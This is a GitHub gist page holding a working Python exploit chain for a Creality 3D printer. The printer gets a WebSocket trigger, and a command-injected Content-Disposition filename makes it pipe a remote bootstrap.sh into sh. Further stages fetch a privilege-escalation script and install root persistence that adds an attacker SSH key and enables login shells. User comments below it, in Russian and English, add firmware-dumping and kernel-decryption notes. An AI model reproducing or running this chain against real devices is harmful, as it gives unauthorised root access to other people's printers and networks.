-
-
Save C0DEbrained/c6f508109e34f43a39f4c22e901408dd to your computer and use it in GitHub Desktop.
| import sys | |
| import argparse | |
| import threading | |
| import json | |
| import time | |
| from http.server import SimpleHTTPRequestHandler, HTTPServer | |
| from urllib.parse import urlencode, quote | |
| import websocket # pip install websocket-client | |
| PRINTER_PORT = 9999 | |
| SERVER_PORT = 4444 | |
| TIME = int(time.time()) | |
| class RequestHandler(SimpleHTTPRequestHandler): | |
| def do_GET(self): | |
| self.protocol_version = 'HTTP/1.0' | |
| if self.path.startswith("/exploit"): | |
| print(f"\n[!] Printer requested: {self.path}") | |
| # 1. Send 200 OK | |
| self.send_response(200) | |
| self.send_header('Content-Type', 'application/octet-stream') | |
| # 2. INJECT THE CRAFTED HEADER | |
| print(f"[!] Sending crafted Content-Disposition header") | |
| self.send_header('Content-Disposition', f'attachment; filename="{FILENAME}"') | |
| self.end_headers() | |
| # 3. Send dummy G-code content | |
| self.wfile.write(b"G28\n") | |
| print("[+] Payload sent! We should see a request for bootstrap.sh next....\n") | |
| elif self.path == "/bootstrap.sh": | |
| print("[+] Printer requested bootstrap.sh. Next up, privesc.py") | |
| self.send_response(200) | |
| self.end_headers() | |
| self.wfile.write(f"""#!/bin/bash | |
| wget http://{HOST_IP}:{SERVER_PORT}/privesc.py -O /tmp/privesc.py | |
| chmod +x /tmp/privesc.py | |
| udhcpc -f -n -i lo -s /tmp/privesc.py -q | |
| """.encode()) | |
| elif self.path == "/privesc.py": | |
| print("[+] Printer requested privesc.py. Next up, S999persistence") | |
| self.send_response(200) | |
| self.end_headers() | |
| self.wfile.write(f"""#!/usr/bin/python3 | |
| import os | |
| import subprocess | |
| try: | |
| os.setuid(0) | |
| os.setgid(0) | |
| # Download S999persistence script to /etc/appetc/init.d/S999persistence | |
| subprocess.run(["wget", "http://{HOST_IP}:{SERVER_PORT}/S999persistence", "-O", "/etc/appetc/init.d/S999persistence"]) | |
| subprocess.run(["chmod", "+x", "/etc/appetc/init.d/S999persistence"]) | |
| subprocess.run(["sh", "/etc/appetc/init.d/S999persistence"]) | |
| except Exception as e: | |
| # Write to /usr/data/printer_data/logs/privesc_error | |
| with open('/usr/data/printer_data/logs/privesc_error', 'w') as f: | |
| f.write(str(e)) | |
| """.encode()) | |
| elif self.path == "/S999persistence": | |
| self.send_response(200) | |
| self.end_headers() | |
| # Note: placeholder key line; update as needed when serving this path | |
| self.wfile.write(f"""#!/bin/sh | |
| [[ -d /root/.ssh ]] || mkdir -p /root/.ssh | |
| echo '{PUBLIC_KEY}' >> /root/.ssh/authorized_keys | |
| [[ -f /etc/dropbear/dropbear_ed25519_host_key ]] || dropbearkey -t ed25519 -f /etc/dropbear/dropbear_ed25519_host_key | |
| [[ -f /etc/dropbear/dropbear_rsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key | |
| [[ -f /etc/dropbear/dropbear_ecdsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_ecdsa_host_key | |
| sed -i 's#sbin/nologin#bin/sh#' /etc/passwd | |
| """.encode()) | |
| print("[!] Printer fetched the persistence script. We're finished!") | |
| print("[!] Now, wait 30 seconds and try SSHing to the printer.") | |
| sys.exit(0) | |
| def start_server(): | |
| # Listen on Port 80 for the download request | |
| server = HTTPServer(('0.0.0.0', SERVER_PORT), RequestHandler) | |
| print(f"[*] HTTP Server listening on port {SERVER_PORT}...") | |
| server.serve_forever() | |
| def trigger_exploit(): | |
| # Connect to the printer's specific Slicer port | |
| ws_url = f"ws://{PRINTER_IP}:{PRINTER_PORT}/" | |
| print(f"[*] Connecting to {ws_url} using protocol 'wsslicer'...") | |
| try: | |
| # CRITICAL: Must request the specific subprotocol | |
| ws = websocket.create_connection(ws_url, subprotocols=["wsslicer"]) | |
| print("[+] WebSocket Connected!") | |
| # Construct the JSON command | |
| payload = { | |
| "method": "set", | |
| "params": { | |
| # This triggers print_proc -> httpchunk -> RCE | |
| "print": f"http://{HOST_IP}:{SERVER_PORT}/exploit-{TIME}", | |
| "printId": "1337" | |
| } | |
| } | |
| print(f"[*] Sending trigger: {json.dumps(payload)}") | |
| ws.send(json.dumps(payload)) | |
| time.sleep(2) | |
| ws.close() | |
| except Exception as e: | |
| print(f"[-] WebSocket Connection Failed: {e}") | |
| raise e | |
| if __name__ == "__main__": | |
| parser = argparse.ArgumentParser(description="Exploit server and trigger") | |
| parser.add_argument("--host-ip", dest="host_ip", required=True, help="IP of this machine hosting payloads") | |
| parser.add_argument("--printer-ip", dest="printer_ip", required=True, help="Target printer IP") | |
| parser.add_argument("--public-key", dest="public_key", required=True, help="Public RSA Key") | |
| args = parser.parse_args() | |
| # Override globals with CLI values and recompute dependent values | |
| HOST_IP = args.host_ip | |
| PRINTER_IP = args.printer_ip | |
| # Read the public key from the file | |
| PUBLIC_KEY = str(open(args.public_key).read()) | |
| if not PUBLIC_KEY: | |
| print("[-] Public key file is empty. Exiting.") | |
| sys.exit(1) | |
| SHELL_COMMAND = f"curl http://{HOST_IP}:{SERVER_PORT}/bootstrap.sh | sh" | |
| FILENAME = quote(f"dest\";{SHELL_COMMAND};#exploit.gcode") | |
| # 1. Start the HTTP server to host the payload | |
| t = threading.Thread(target=start_server) | |
| t.daemon = True | |
| t.start() | |
| # 2. Wait a moment, then fire the WebSocket trigger | |
| time.sleep(1) | |
| trigger_exploit() |
Creality упал в моих глазах ниже плинтуса. Где можно сдать принтер обратно и вернуть свои деньги?
Почему? Наоборот же тебя защищают чтобы ты не наворотил делов. Покупай BL, кто не дает?
Thank You very much.
The device tries to call home at api.crealitycloud.com and mqtt.crealitycloud.com (sends way too much info), so I'll keep it without any access to public internet to prevent any further "improvements" from Creality.
So far (USE THIS INFO AT YOUR OWN RISK):
MMC data
- full MMC backup:
ssh root@k1c 'dd if=/devmmcblk0 bs=1M' > mmc.dump - it seems X2600 processor on the mainboard uses Ingenic "secure boot" (google for X2000_Hardware_Design_Guide_V1.1.pdf, section 2.1.4 "Boot and Security Boot). Was unable to find any more relevant documentation.
- MMC partition table (
fdisk -l):
-- first 1MB (GPT table and likely encrypted u-boot)
-- p1 ("ota") ???
-- p2 ("sn_mac") - info from it is decrypted to /tmp/params (see /bin/seed.sh)
-- p3 ("rtos") ???
-- p4 ("rtos2") may be used by klipper (found...[creality_rom_manager:load_infos:69] load device [flash](/dev/mmcblk0p4)in/usr/data/printer_data/logs/klippy.log)
-- p5 ("kernel") - encrypted current kernel
-- p6 ("kernel2") - encrypted older kernel (I did firmware update via USB, so likely the previous one)
-- p7 ("rootfs") - not encrypted squashfs at 2048 byte offset (see /bin/seed.sh), loop-mounted on /usr/deplibs , not sure if it's checksum is verified on boot or not
-- p8 ("rootfs2") - ext4 , mounted on /usr/apps
-- p9 ("rootfs_data") - empty (zero filled)
-- p10 ("userdata") - ext4, mounted on /usr/data (g-code files, logs ...)
Kernel
Kernel bootargs: console=ttyS2,3000000n8 mem=242M@0x0 rmem=13M@0xf200000 rtos_size=1M@0xff00000 rdinit=/linuxrc root=/dev/ram0 rootwait rootfstype=ramfs rw clk_ignore_unused , so it seems kernel mounts embedded ramfs, runs /linuxrc(busybox), which starts /etc/init.d/rcS, which starts /bin/seed.sh
/bin/seed.sh uses cmd_sc to verify/decode encrypted data/binaries, so I used the same cmd_sc to decode kernels: dumped p5 and p6 partitions, created unprivileged user just in case, chmod a+rw /dev/sc and run cmd_sc on dumps like in seed.sh. Device /dev/sc is related to soc_security.ko module loaded from the same seed.sh.
To get ramfs images from decoded kernels:
binwalk --extract kernel.imgzcat < Linux-5.10.186.bin > Linux-5.10.186.bin.extractedbinwalk --extract Linux-5.10.186.bin.extractedcpio -it < decompressed.bin
Network
- current status:
ss -anp - iptables rules:
iptables-save - to redirect mqtt messages to Your own server:
echo '192.168.0.1 mqtt.crealitycloud.com' >> /etc/hosts
Hope it helps to move forward.
Creality упал в моих глазах ниже плинтуса. Где можно сдать принтер обратно и вернуть свои деньги?